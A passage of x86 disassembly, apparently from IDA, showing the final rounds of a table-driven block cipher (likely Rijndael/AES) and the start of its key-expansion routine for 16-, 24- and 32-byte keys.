[eax+68h] shr esi, 18h shr ecx, 10h movzx edx, cl mov ecx, ds:dword_42B8D8[esi*4] xor ecx, ds:dword_42B4D8[edx*4] mov edx, [ebp+var_38] shr edx, 8 movzx edx, dl xor ecx, ds:dword_42B0D8[edx*4] movzx edx, bl xor ecx, ds:dword_42ACD8[edx*4] mov edx, [ebp+var_2C] xor ecx, [eax+6Ch] shr edx, 10h movzx edx, dl mov esi, ds:dword_42B4D8[edx*4] mov edx, [ebp+var_48] shr edx, 18h mov edx, ds:dword_42B8D8[edx*4] mov [ebp+var_8], ecx mov ecx, [ebp+var_34] mov [ebp+var_20], edi shr ecx, 8 movzx edi, cl xor esi, ds:dword_42B0D8[edi*4] mov edi, [ebp+var_44] mov [ebp+var_4], esi xor [ebp+var_4], edx movzx edx, byte ptr [ebp+var_38] mov esi, [ebp+var_4] xor esi, ds:dword_42ACD8[edx*4] mov edx, [ebp+var_30] xor esi, [eax+70h] shr edx, 8 movzx edx, dl mov [ebp+var_18], esi mov esi, ds:dword_42B0D8[edx*4] mov edx, [ebp+var_48] shr edx, 10h movzx edx, dl mov edx, ds:dword_42B4D8[edx*4] shr edi, 18h xor esi, ds:dword_42B8D8[edi*4] mov edi, [ebp+var_40] mov [ebp+var_4], esi xor [ebp+var_4], edx movzx edx, byte ptr [ebp+var_34] mov esi, [ebp+var_4] xor esi, ds:dword_42ACD8[edx*4] mov edx, [ebp+var_2C] xor esi, [eax+74h] shr edx, 8 mov [ebp+var_14], esi movzx edx, dl shr edi, 18h mov esi, ds:dword_42B0D8[edx*4] xor esi, ds:dword_42B8D8[edi*4] mov edx, [ebp+var_44] shr edx, 10h movzx edx, dl mov edx, ds:dword_42B4D8[edx*4] mov [ebp+var_4], esi xor [ebp+var_4], edx movzx edx, byte ptr [ebp+var_30] mov esi, [ebp+var_4] xor esi, ds:dword_42ACD8[edx*4] mov edx, [ebp+var_40] xor esi, [eax+78h] shr edx, 10h movzx edx, dl mov ecx, [ebp+var_8] shr ebx, 18h mov [ebp+var_10], esi mov esi, ds:dword_42B8D8[ebx*4] xor esi, ds:dword_42B4D8[edx*4] mov edx, [ebp+var_48] shr edx, 8 movzx edx, dl xor esi, ds:dword_42B0D8[edx*4] movzx edx, byte ptr [ebp+var_2C] xor esi, ds:dword_42ACD8[edx*4] mov edx, [ebp+var_18] shr edx, 18h mov edi, ds:dword_42B8D8[edx*4] mov edx, [ebp+var_24] shr edx, 8 movzx edx, dl mov ebx, ecx shr ebx, 10h movzx ebx, bl xor edi, ds:dword_42B4D8[ebx*4] mov ebx, [ebp+var_18] xor edi, ds:dword_42B0D8[edx*4] movzx edx, byte ptr [ebp+var_28] xor edi, ds:dword_42ACD8[edx*4] mov edx, [ebp+var_14] xor edi, [eax+80h] shr edx, 18h mov [ebp+var_48], edi mov edi, ds:dword_42B8D8[edx*4] mov edx, [ebp+var_20] shr edx, 8 movzx edx, dl shr ebx, 10h movzx ebx, bl xor edi, ds:dword_42B4D8[ebx*4] mov ebx, [ebp+var_14] xor edi, ds:dword_42B0D8[edx*4] movzx edx, byte ptr [ebp+var_24] xor edi, ds:dword_42ACD8[edx*4] mov edx, [ebp+var_10] xor edi, [eax+84h] xor esi, [eax+7Ch] shr edx, 18h mov [ebp+var_44], edi mov edi, ds:dword_42B8D8[edx*4] shr ebx, 10h movzx ebx, bl xor edi, ds:dword_42B4D8[ebx*4] mov ebx, [ebp+var_18] mov edx, ecx shr edx, 8 movzx edx, dl xor edi, ds:dword_42B0D8[edx*4] movzx edx, byte ptr [ebp+var_20] xor edi, ds:dword_42ACD8[edx*4] mov edx, [ebp+var_10] xor edi, [eax+88h] shr edx, 10h mov [ebp+var_C], esi mov [ebp+var_40], edi shr esi, 18h movzx edi, dl mov edx, ds:dword_42B8D8[esi*4] xor edx, ds:dword_42B4D8[edi*4] shr ebx, 8 movzx esi, bl xor edx, ds:dword_42B0D8[esi*4] mov ebx, [ebp+var_C] shr ebx, 10h movzx esi, cl xor edx, ds:dword_42ACD8[esi*4] movzx esi, bl mov esi, ds:dword_42B4D8[esi*4] mov ebx, [ebp+var_14] shr ebx, 8 movzx edi, bl xor esi, ds:dword_42B0D8[edi*4] movzx edi, byte ptr [ebp+var_18] mov [ebp+var_4], esi mov esi, [ebp+var_28] shr esi, 18h mov esi, ds:dword_42B8D8[esi*4] xor [ebp+var_4], esi mov esi, [ebp+var_4] xor esi, ds:dword_42ACD8[edi*4] mov ebx, [ebp+var_10] xor esi, [eax+90h] mov edi, [ebp+var_24] mov [ebp+var_38], esi shr ebx, 8 movzx esi, bl mov esi, ds:dword_42B0D8[esi*4] mov ebx, [ebp+var_28] shr edi, 18h xor esi, ds:dword_42B8D8[edi*4] movzx edi, byte ptr [ebp+var_14] mov [ebp+var_4], esi shr ebx, 10h movzx esi, bl mov esi, ds:dword_42B4D8[esi*4] xor [ebp+var_4], esi mov esi, [ebp+var_4] xor esi, ds:dword_42ACD8[edi*4] mov ebx, [ebp+var_C] xor esi, [eax+94h] mov edi, [ebp+var_20] mov [ebp+var_34], esi shr ebx, 8 movzx esi, bl mov esi, ds:dword_42B0D8[esi*4] mov ebx, [ebp+var_24] shr edi, 18h xor esi, ds:dword_42B8D8[edi*4] movzx edi, byte ptr [ebp+var_10] mov [ebp+var_4], esi shr ebx, 10h xor edx, [eax+8Ch] movzx esi, bl mov esi, ds:dword_42B4D8[esi*4] xor [ebp+var_4], esi mov esi, [ebp+var_4] xor esi, ds:dword_42ACD8[edi*4] mov ebx, [ebp+var_20] xor esi, [eax+98h] shr ecx, 18h mov [ebp+var_30], esi mov esi, ds:dword_42B8D8[ecx*4] mov ecx, [ebp+var_28] shr ebx, 10h movzx edi, bl xor esi, ds:dword_42B4D8[edi*4] shr ecx, 8 movzx ecx, cl xor esi, ds:dword_42B0D8[ecx*4] movzx ecx, byte ptr [ebp+var_C] xor esi, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_38] xor esi, [eax+9Ch] mov ebx, edx shr ebx, 10h shr ecx, 18h mov edi, ds:dword_42B8D8[ecx*4] mov ecx, [ebp+var_44] movzx ebx, bl xor edi, ds:dword_42B4D8[ebx*4] mov [ebp+var_2C], esi shr ecx, 8 movzx ecx, cl xor edi, ds:dword_42B0D8[ecx*4] movzx ecx, byte ptr [ebp+var_48] xor edi, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_34] xor edi, [eax+0A0h] mov ebx, [ebp+var_38] shr ecx, 18h mov [ebp+var_28], edi mov edi, ds:dword_42B8D8[ecx*4] mov ecx, [ebp+var_40] shr ecx, 8 movzx ecx, cl shr ebx, 10h movzx ebx, bl xor edi, ds:dword_42B4D8[ebx*4] mov ebx, [ebp+var_34] xor edi, ds:dword_42B0D8[ecx*4] movzx ecx, byte ptr [ebp+var_44] xor edi, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_30] xor edi, [eax+0A4h] shr ecx, 18h mov [ebp+var_24], edi mov edi, ds:dword_42B8D8[ecx*4] shr ebx, 10h movzx ebx, bl xor edi, ds:dword_42B4D8[ebx*4] mov ecx, edx shr ecx, 8 movzx ecx, cl xor edi, ds:dword_42B0D8[ecx*4] movzx ecx, byte ptr [ebp+var_40] xor edi, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_30] shr ecx, 10h movzx ecx, cl xor edi, [eax+0A8h] shr esi, 18h mov ebx, ds:dword_42B8D8[esi*4] xor ebx, ds:dword_42B4D8[ecx*4] mov ecx, [ebp+var_38] shr ecx, 8 movzx ecx, cl xor ebx, ds:dword_42B0D8[ecx*4] movzx ecx, dl xor ebx, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_2C] xor ebx, [eax+0ACh] shr ecx, 10h movzx ecx, cl mov esi, ds:dword_42B4D8[ecx*4] mov ecx, [ebp+var_48] mov [ebp+var_8], ebx mov ebx, [ebp+var_34] mov [ebp+var_20], edi shr ebx, 8 shr ecx, 18h mov ecx, ds:dword_42B8D8[ecx*4] movzx edi, bl xor esi, ds:dword_42B0D8[edi*4] mov edi, [ebp+var_44] mov [ebp+var_4], esi xor [ebp+var_4], ecx movzx ecx, byte ptr [ebp+var_38] mov esi, [ebp+var_4] xor esi, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_30] xor esi, [eax+0B0h] shr ecx, 8 movzx ecx, cl mov [ebp+var_18], esi mov esi, ds:dword_42B0D8[ecx*4] mov ecx, [ebp+var_48] shr edi, 18h xor esi, ds:dword_42B8D8[edi*4] shr ecx, 10h movzx ecx, cl mov ecx, ds:dword_42B4D8[ecx*4] mov [ebp+var_4], esi xor [ebp+var_4], ecx movzx ecx, byte ptr [ebp+var_34] mov esi, [ebp+var_4] xor esi, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_2C] xor esi, [eax+0B4h] shr ecx, 8 movzx ecx, cl mov edi, [ebp+var_40] mov [ebp+var_14], esi mov esi, ds:dword_42B0D8[ecx*4] mov ecx, [ebp+var_44] shr ecx, 10h movzx ecx, cl mov ecx, ds:dword_42B4D8[ecx*4] shr edi, 18h xor esi, ds:dword_42B8D8[edi*4] mov ebx, [ebp+var_8] mov [ebp+var_4], esi xor [ebp+var_4], ecx movzx ecx, byte ptr [ebp+var_30] mov esi, [ebp+var_4] xor esi, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_40] xor esi, [eax+0B8h] shr ecx, 10h movzx ecx, cl shr edx, 18h mov [ebp+var_10], esi mov esi, ds:dword_42B8D8[edx*4] xor esi, ds:dword_42B4D8[ecx*4] mov ecx, [ebp+var_48] shr ecx, 8 movzx ecx, cl xor esi, ds:dword_42B0D8[ecx*4] movzx ecx, byte ptr [ebp+var_2C] xor esi, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_18] shr ecx, 18h mov edi, ds:dword_42B8D8[ecx*4] mov ecx, [ebp+var_24] shr ecx, 8 movzx ecx, cl mov edx, ebx shr edx, 10h movzx edx, dl xor edi, ds:dword_42B4D8[edx*4] mov edx, [ebp+var_18] xor edi, ds:dword_42B0D8[ecx*4] movzx ecx, byte ptr [ebp+var_28] xor edi, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_14] xor edi, [eax+0C0h] shr ecx, 18h mov [ebp+var_48], edi mov edi, ds:dword_42B8D8[ecx*4] mov ecx, [ebp+var_20] xor esi, [eax+0BCh] shr ecx, 8 shr edx, 10h movzx ecx, cl movzx edx, dl xor edi, ds:dword_42B4D8[edx*4] mov edx, [ebp+var_14] xor edi, ds:dword_42B0D8[ecx*4] movzx ecx, byte ptr [ebp+var_24] xor edi, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_10] xor edi, [eax+0C4h] shr ecx, 18h mov [ebp+var_44], edi mov edi, ds:dword_42B8D8[ecx*4] shr edx, 10h mov ecx, ebx shr ecx, 8 movzx edx, dl xor edi, ds:dword_42B4D8[edx*4] movzx ecx, cl xor edi, ds:dword_42B0D8[ecx*4] movzx ecx, byte ptr [ebp+var_20] mov [ebp+var_C], esi xor edi, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_10] shr esi, 18h xor edi, [eax+0C8h] shr ecx, 10h movzx edx, cl mov ecx, ds:dword_42B8D8[esi*4] xor ecx, ds:dword_42B4D8[edx*4] mov edx, [ebp+var_18] shr edx, 8 movzx edx, dl xor ecx, ds:dword_42B0D8[edx*4] movzx edx, bl xor ecx, ds:dword_42ACD8[edx*4] mov edx, [ebp+var_C] xor ecx, [eax+0CCh] shr edx, 10h movzx edx, dl mov esi, ds:dword_42B4D8[edx*4] mov edx, [ebp+var_28] shr edx, 18h mov edx, ds:dword_42B8D8[edx*4] mov [ebp+var_8], ecx mov ecx, [ebp+var_14] mov [ebp+var_40], edi shr ecx, 8 movzx edi, cl xor esi, ds:dword_42B0D8[edi*4] mov edi, [ebp+var_24] mov [ebp+var_4], esi xor [ebp+var_4], edx mov esi, [ebp+var_4] movzx edx, byte ptr [ebp+var_18] xor esi, ds:dword_42ACD8[edx*4] mov edx, [ebp+var_10] xor esi, [eax+0D0h] shr edx, 8 movzx edx, dl mov [ebp+var_38], esi mov esi, ds:dword_42B0D8[edx*4] mov edx, [ebp+var_28] shr edx, 10h movzx edx, dl mov edx, ds:dword_42B4D8[edx*4] shr edi, 18h xor esi, ds:dword_42B8D8[edi*4] mov edi, [ebp+var_20] mov [ebp+var_4], esi xor [ebp+var_4], edx movzx edx, byte ptr [ebp+var_14] mov esi, [ebp+var_4] xor esi, ds:dword_42ACD8[edx*4] mov edx, [ebp+var_C] xor esi, [eax+0D4h] shr edx, 8 movzx edx, dl mov [ebp+var_34], esi mov esi, ds:dword_42B0D8[edx*4] mov edx, [ebp+var_24] shr edx, 10h movzx edx, dl mov edx, ds:dword_42B4D8[edx*4] shr edi, 18h xor esi, ds:dword_42B8D8[edi*4] shr ebx, 18h mov [ebp+var_4], esi xor [ebp+var_4], edx movzx edx, byte ptr [ebp+var_10] mov esi, [ebp+var_4] xor esi, ds:dword_42ACD8[edx*4] mov edx, [ebp+var_20] xor esi, [eax+0D8h] shr edx, 10h movzx edx, dl mov [ebp+var_30], esi mov esi, ds:dword_42B8D8[ebx*4] xor esi, ds:dword_42B4D8[edx*4] mov edx, [ebp+var_28] shr edx, 8 movzx edx, dl xor esi, ds:dword_42B0D8[edx*4] movzx edx, byte ptr [ebp+var_C] xor esi, ds:dword_42ACD8[edx*4] mov ecx, [ebp+var_8] mov edx, [ebp+var_38] shr edx, 18h mov edi, ds:dword_42B8D8[edx*4] mov edx, [ebp+var_44] shr edx, 8 movzx edx, dl mov ebx, ecx shr ebx, 10h movzx ebx, bl xor edi, ds:dword_42B4D8[ebx*4] mov ebx, [ebp+var_38] xor edi, ds:dword_42B0D8[edx*4] movzx edx, byte ptr [ebp+var_48] xor edi, ds:dword_42ACD8[edx*4] mov edx, [ebp+var_34] xor edi, [eax+0E0h] shr edx, 18h mov [ebp+var_28], edi mov edi, ds:dword_42B8D8[edx*4] mov edx, [ebp+var_40] shr edx, 8 shr ebx, 10h movzx edx, dl movzx ebx, bl xor edi, ds:dword_42B4D8[ebx*4] mov ebx, [ebp+var_34] xor edi, ds:dword_42B0D8[edx*4] movzx edx, byte ptr [ebp+var_44] xor edi, ds:dword_42ACD8[edx*4] mov edx, [ebp+var_30] xor edi, [eax+0E4h] xor esi, [eax+0DCh] shr edx, 18h mov [ebp+var_24], edi mov edi, ds:dword_42B8D8[edx*4] shr ebx, 10h movzx ebx, bl xor edi, ds:dword_42B4D8[ebx*4] mov ebx, [ebp+var_38] mov edx, ecx shr edx, 8 movzx edx, dl xor edi, ds:dword_42B0D8[edx*4] movzx edx, byte ptr [ebp+var_40] xor edi, ds:dword_42ACD8[edx*4] mov edx, [ebp+var_30] xor edi, [eax+0E8h] mov [ebp+var_2C], esi shr esi, 18h shr edx, 10h shr ebx, 8 mov [ebp+var_20], edi movzx edi, dl mov edx, ds:dword_42B8D8[esi*4] xor edx, ds:dword_42B4D8[edi*4] movzx esi, bl xor edx, ds:dword_42B0D8[esi*4] mov ebx, [ebp+var_2C] movzx esi, cl xor edx, ds:dword_42ACD8[esi*4] shr ebx, 10h xor edx, [eax+0ECh] movzx esi, bl mov ebx, [ebp+var_34] mov esi, ds:dword_42B4D8[esi*4] shr ebx, 8 movzx edi, bl xor esi, ds:dword_42B0D8[edi*4] movzx edi, byte ptr [ebp+var_38] mov [ebp+var_4], esi mov esi, [ebp+var_48] shr esi, 18h mov esi, ds:dword_42B8D8[esi*4] xor [ebp+var_4], esi mov esi, [ebp+var_4] xor esi, ds:dword_42ACD8[edi*4] xor esi, [eax+0F0h] mov [ebp+var_18], esi mov ebx, [ebp+var_30] mov edi, [ebp+var_44] shr ebx, 8 movzx esi, bl mov esi, ds:dword_42B0D8[esi*4] mov ebx, [ebp+var_48] shr edi, 18h xor esi, ds:dword_42B8D8[edi*4] movzx edi, byte ptr [ebp+var_34] mov [ebp+var_4], esi shr ebx, 10h movzx esi, bl mov esi, ds:dword_42B4D8[esi*4] xor [ebp+var_4], esi mov esi, [ebp+var_4] xor esi, ds:dword_42ACD8[edi*4] mov ebx, [ebp+var_2C] xor esi, [eax+0F4h] mov edi, [ebp+var_40] mov [ebp+var_14], esi shr ebx, 8 movzx esi, bl mov esi, ds:dword_42B0D8[esi*4] mov ebx, [ebp+var_44] shr edi, 18h xor esi, ds:dword_42B8D8[edi*4] movzx edi, byte ptr [ebp+var_30] mov [ebp+var_4], esi shr ebx, 10h movzx esi, bl mov esi, ds:dword_42B4D8[esi*4] xor [ebp+var_4], esi mov esi, [ebp+var_4] xor esi, ds:dword_42ACD8[edi*4] mov ebx, [ebp+var_40] xor esi, [eax+0F8h] shr ecx, 18h shr ebx, 10h mov [ebp+var_10], esi mov esi, ds:dword_42B8D8[ecx*4] mov ecx, [ebp+var_48] shr ecx, 8 movzx ecx, cl movzx edi, bl xor esi, ds:dword_42B4D8[edi*4] mov ebx, edx xor esi, ds:dword_42B0D8[ecx*4] movzx ecx, byte ptr [ebp+var_2C] xor esi, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_18] shr ecx, 18h mov edi, ds:dword_42B8D8[ecx*4] mov ecx, [ebp+var_24] shr ecx, 8 shr ebx, 10h movzx ecx, cl movzx ebx, bl xor edi, ds:dword_42B4D8[ebx*4] mov ebx, [ebp+var_18] xor edi, ds:dword_42B0D8[ecx*4] movzx ecx, byte ptr [ebp+var_28] xor edi, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_14] xor edi, [eax+100h] xor esi, [eax+0FCh] shr ecx, 18h mov [ebp+var_48], edi mov edi, ds:dword_42B8D8[ecx*4] mov ecx, [ebp+var_20] shr ebx, 10h shr ecx, 8 movzx ebx, bl xor edi, ds:dword_42B4D8[ebx*4] movzx ecx, cl xor edi, ds:dword_42B0D8[ecx*4] movzx ecx, byte ptr [ebp+var_24] xor edi, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_10] xor edi, [eax+104h] mov [ebp+var_C], esi mov [ebp+var_44], edi shr ecx, 18h mov edi, ds:dword_42B8D8[ecx*4] mov ebx, [ebp+var_14] shr ebx, 10h movzx ebx, bl xor edi, ds:dword_42B4D8[ebx*4] mov ecx, edx shr ecx, 8 movzx ecx, cl xor edi, ds:dword_42B0D8[ecx*4] movzx ecx, byte ptr [ebp+var_20] xor edi, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_10] shr ecx, 10h movzx ecx, cl shr esi, 18h mov ebx, ds:dword_42B8D8[esi*4] xor ebx, ds:dword_42B4D8[ecx*4] mov ecx, [ebp+var_18] shr ecx, 8 movzx ecx, cl xor ebx, ds:dword_42B0D8[ecx*4] xor edi, [eax+108h] movzx ecx, dl xor ebx, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_C] xor ebx, [eax+10Ch] shr ecx, 10h movzx ecx, cl mov esi, ds:dword_42B4D8[ecx*4] mov ecx, [ebp+var_28] shr ecx, 18h mov ecx, ds:dword_42B8D8[ecx*4] mov [ebp+var_8], ebx mov ebx, [ebp+var_14] mov [ebp+var_40], edi shr ebx, 8 movzx edi, bl xor esi, ds:dword_42B0D8[edi*4] mov edi, [ebp+var_24] mov [ebp+var_4], esi xor [ebp+var_4], ecx mov esi, [ebp+var_4] movzx ecx, byte ptr [ebp+var_18] xor esi, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_10] xor esi, [eax+110h] shr ecx, 8 movzx ecx, cl mov [ebp+var_38], esi mov esi, ds:dword_42B0D8[ecx*4] mov ecx, [ebp+var_28] shr ecx, 10h movzx ecx, cl mov ecx, ds:dword_42B4D8[ecx*4] shr edi, 18h xor esi, ds:dword_42B8D8[edi*4] mov edi, [ebp+var_20] mov [ebp+var_4], esi xor [ebp+var_4], ecx movzx ecx, byte ptr [ebp+var_14] mov esi, [ebp+var_4] xor esi, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_C] xor esi, [eax+114h] shr ecx, 8 movzx ecx, cl mov [ebp+var_34], esi mov esi, ds:dword_42B0D8[ecx*4] mov ecx, [ebp+var_24] shr ecx, 10h shr edi, 18h xor esi, ds:dword_42B8D8[edi*4] movzx ecx, cl mov ecx, ds:dword_42B4D8[ecx*4] mov [ebp+var_4], esi xor [ebp+var_4], ecx movzx ecx, byte ptr [ebp+var_10] mov esi, [ebp+var_4] xor esi, ds:dword_42ACD8[ecx*4] xor esi, [eax+118h] mov ecx, [ebp+var_20] shr edx, 18h shr ecx, 10h mov ebx, [ebp+var_8] mov [ebp+var_30], esi movzx esi, cl mov ecx, ds:dword_42B8D8[edx*4] xor ecx, ds:dword_42B4D8[esi*4] mov edx, [ebp+var_28] shr edx, 8 movzx edx, dl xor ecx, ds:dword_42B0D8[edx*4] movzx edx, byte ptr [ebp+var_C] xor ecx, ds:dword_42ACD8[edx*4] mov edx, [ebp+var_38] xor ecx, [eax+11Ch] shr edx, 18h mov edx, ds:dword_42C8D8[edx*4] mov [ebp+var_8], ecx mov ecx, ebx shr ecx, 10h movzx esi, cl xor edx, ds:dword_42C4D8[esi*4] mov ecx, [ebp+var_44] shr ecx, 8 movzx esi, cl xor edx, ds:dword_42C0D8[esi*4] movzx esi, byte ptr [ebp+var_48] xor edx, ds:dword_42BCD8[esi*4] mov ecx, [ebp+var_38] xor edx, [eax+120h] shr ecx, 10h mov [ebp+var_28], edx mov edx, [ebp+var_34] shr edx, 18h mov edx, ds:dword_42C8D8[edx*4] movzx esi, cl xor edx, ds:dword_42C4D8[esi*4] mov ecx, [ebp+var_40] shr ecx, 8 movzx esi, cl xor edx, ds:dword_42C0D8[esi*4] movzx esi, byte ptr [ebp+var_44] xor edx, ds:dword_42BCD8[esi*4] mov ecx, [ebp+var_34] xor edx, [eax+124h] shr ecx, 10h mov [ebp+var_24], edx mov edx, [ebp+var_30] shr edx, 18h mov edx, ds:dword_42C8D8[edx*4] movzx esi, cl xor edx, ds:dword_42C4D8[esi*4] mov ecx, ebx shr ecx, 8 movzx esi, cl xor edx, ds:dword_42C0D8[esi*4] movzx esi, byte ptr [ebp+var_40] xor edx, ds:dword_42BCD8[esi*4] mov ecx, [ebp+var_8] xor edx, [eax+128h] mov [ebp+var_8], ecx mov [ebp+var_20], edx mov edx, ecx mov ecx, [ebp+var_30] shr edx, 18h mov edx, ds:dword_42C8D8[edx*4] shr ecx, 10h movzx esi, cl xor edx, ds:dword_42C4D8[esi*4] mov ecx, [ebp+var_38] shr ecx, 8 movzx esi, cl xor edx, ds:dword_42C0D8[esi*4] mov ecx, [ebp+var_8] movzx esi, bl xor edx, ds:dword_42BCD8[esi*4] xor edx, [eax+12Ch] mov [ebp+var_1C], edx mov edx, ecx shr edx, 10h movzx edx, dl mov edx, ds:dword_42C4D8[edx*4] mov [ebp+var_8], ebx mov ebx, [ebp+var_34] shr ebx, 8 movzx esi, bl xor edx, ds:dword_42C0D8[esi*4] mov esi, [ebp+var_48] shr esi, 18h xor edx, ds:dword_42C8D8[esi*4] movzx esi, byte ptr [ebp+var_38] xor edx, ds:dword_42BCD8[esi*4] mov esi, [ebp+var_44] xor edx, [eax+130h] mov ebx, [ebp+var_48] mov [ebp+var_18], edx mov edx, [ebp+var_30] shr edx, 8 movzx edx, dl mov edx, ds:dword_42C0D8[edx*4] shr esi, 18h xor edx, ds:dword_42C8D8[esi*4] shr ebx, 10h movzx esi, bl xor edx, ds:dword_42C4D8[esi*4] movzx esi, byte ptr [ebp+var_34] xor edx, ds:dword_42BCD8[esi*4] mov esi, [ebp+var_40] xor edx, [eax+134h] mov ebx, [ebp+var_8] mov [ebp+var_14], edx mov edx, ecx shr edx, 8 movzx edx, dl mov edi, ds:dword_42C0D8[edx*4] mov edx, [ebp+var_44] shr edx, 10h movzx edx, dl shr esi, 18h xor edi, ds:dword_42C8D8[esi*4] shr ebx, 18h xor edi, ds:dword_42C4D8[edx*4] movzx edx, byte ptr [ebp+var_30] xor edi, ds:dword_42BCD8[edx*4] mov edx, [ebp+var_40] mov esi, ds:dword_42C8D8[ebx*4] xor edi, [eax+138h] mov ebx, [ebp+var_24] shr edx, 10h movzx edx, dl xor esi, ds:dword_42C4D8[edx*4] mov edx, [ebp+var_48] shr edx, 8 movzx edx, dl xor esi, ds:dword_42C0D8[edx*4] mov edx, [ebp+var_18] movzx ecx, cl xor esi, ds:dword_42BCD8[ecx*4] mov [ebp+var_10], edi xor esi, [eax+13Ch] mov [ebp+var_C], esi loc_41B2EF: ; CODE XREF: sub_41954F+13Aj mov eax, [ebp+arg_0] mov ecx, [ebp+var_28] mov [eax], cl shr ecx, 8 mov [eax+1], cl mov ecx, [ebp+var_28] shr ecx, 10h mov [eax+2], cl mov ecx, [ebp+var_28] shr ecx, 18h mov [eax+3], cl mov ecx, ebx shr ecx, 8 mov [eax+5], cl mov ecx, ebx shr ecx, 10h mov [eax+6], cl mov ecx, [ebp+var_20] mov [eax+4], bl shr ebx, 18h mov [eax+7], bl mov ebx, ecx mov [eax+8], cl shr ebx, 8 mov [eax+9], bl mov ebx, ecx shr ecx, 18h mov [eax+0Bh], cl mov ecx, [ebp+var_1C] shr ebx, 10h mov [eax+0Ch], cl mov [eax+0Ah], bl mov ebx, ecx shr ebx, 8 mov [eax+0Dh], bl mov ebx, ecx shr ecx, 18h mov [eax+0Fh], cl mov ecx, edx shr ecx, 8 mov [eax+10h], dl mov [eax+11h], cl mov ecx, edx shr edx, 18h mov [eax+13h], dl shr ecx, 10h mov [eax+12h], cl mov ecx, [ebp+var_14] mov edx, ecx shr edx, 8 mov [eax+15h], dl mov [eax+14h], cl mov edx, ecx shr edx, 10h mov [eax+16h], dl shr ecx, 18h mov [eax+17h], cl mov ecx, [ebp+var_10] mov edx, ecx shr edx, 8 mov [eax+19h], dl mov [eax+18h], cl mov edx, ecx shr edx, 10h shr ecx, 18h mov [eax+1Ah], dl mov [eax+1Bh], cl mov ecx, [ebp+var_C] mov edx, ecx shr edx, 8 mov [eax+1Dh], dl mov [eax+1Ch], cl mov edx, ecx shr ebx, 10h shr edx, 10h shr ecx, 18h mov [eax+0Eh], bl mov [eax+1Eh], dl mov [eax+1Fh], cl xor eax, eax inc eax pop edi pop ebx loc_41B3D2: ; CODE XREF: sub_41954F+14j pop esi leave retn sub_41954F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B3D5 proc near ; CODE XREF: sub_404CDB+26p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi mov esi, eax xor eax, eax mov dword ptr [esi+204h], 21h mov ah, [ecx+3] movzx edx, byte ptr [ecx+1] xor ebx, ebx push edi mov edi, [ebp+arg_0] mov al, [ecx+2] push 8 shr edi, 2 shl eax, 8 or eax, edx movzx edx, byte ptr [ecx] shl eax, 8 or eax, edx mov [esi], eax movzx edx, byte ptr [ecx+5] mov [ebp+var_28], eax xor eax, eax mov ah, [ecx+7] mov al, [ecx+6] shl eax, 8 or eax, edx movzx edx, byte ptr [ecx+4] shl eax, 8 or eax, edx mov [esi+4], eax movzx edx, byte ptr [ecx+9] mov [ebp+var_24], eax xor eax, eax mov ah, [ecx+0Bh] mov al, [ecx+0Ah] shl eax, 8 or eax, edx movzx edx, byte ptr [ecx+8] shl eax, 8 or eax, edx mov [esi+8], eax mov bh, [ecx+0Fh] mov [ebp+var_20], eax movzx eax, byte ptr [ecx+0Dh] mov bl, [ecx+0Eh] shl ebx, 8 or ebx, eax movzx eax, byte ptr [ecx+0Ch] shl ebx, 8 or ebx, eax pop eax cmp edi, eax mov [esi+0Ch], ebx jbe short loc_41B474 mov eax, edi loc_41B474: ; CODE XREF: sub_41B3D5+9Bj add eax, 6 mov [esi+200h], eax xor edx, edx lea eax, ds:7[eax*8] div edi cmp [ebp+arg_0], 10h mov [ebp+var_4], eax jz loc_41B6E2 cmp [ebp+arg_0], 18h jz loc_41B615 cmp [ebp+arg_0], 20h jz short loc_41B4B3 and dword ptr [esi+200h], 0 xor eax, eax jmp loc_41B752 ; --------------------------------------------------------------------------- loc_41B4B3: ; CODE XREF: sub_41B3D5+CEj xor eax, eax mov ah, [ecx+13h] movzx edx, byte ptr [ecx+11h] and [ebp+arg_0], 0 mov al, [ecx+12h] shl eax, 8 or eax, edx movzx edx, byte ptr [ecx+10h] shl eax, 8 or eax, edx mov edi, eax xor eax, eax mov [esi+10h], edi mov ah, [ecx+17h] movzx edx, byte ptr [ecx+15h] mov al, [ecx+16h] shl eax, 8 or eax, edx movzx edx, byte ptr [ecx+14h] shl eax, 8 or eax, edx mov [esi+14h], eax movzx edx, byte ptr [ecx+19h] mov [ebp+var_14], eax xor eax, eax mov ah, [ecx+1Bh] mov al, [ecx+1Ah] shl eax, 8 or eax, edx movzx edx, byte ptr [ecx+18h] shl eax, 8 or eax, edx mov [esi+18h], eax movzx edx, byte ptr [ecx+1Dh] mov [ebp+var_10], eax xor eax, eax mov ah, [ecx+1Fh] mov al, [ecx+1Eh] movzx ecx, byte ptr [ecx+1Ch] shl eax, 8 or eax, edx shl eax, 8 or eax, ecx cmp [ebp+var_4], 0 mov [esi+1Ch], eax jbe loc_41B74F lea ecx, [esi+24h] loc_41B540: ; CODE XREF: sub_41B3D5+235j mov [ebp+var_8], ebx mov ebx, eax mov edx, eax shr edx, 18h mov edx, ds:dword_42C4D8[edx*4] shr ebx, 10h movzx esi, bl xor edx, ds:dword_42C0D8[esi*4] mov ebx, eax shr ebx, 8 movzx esi, bl xor edx, ds:dword_42BCD8[esi*4] mov ebx, [ebp+var_8] movzx esi, al xor edx, ds:dword_42C8D8[esi*4] mov esi, 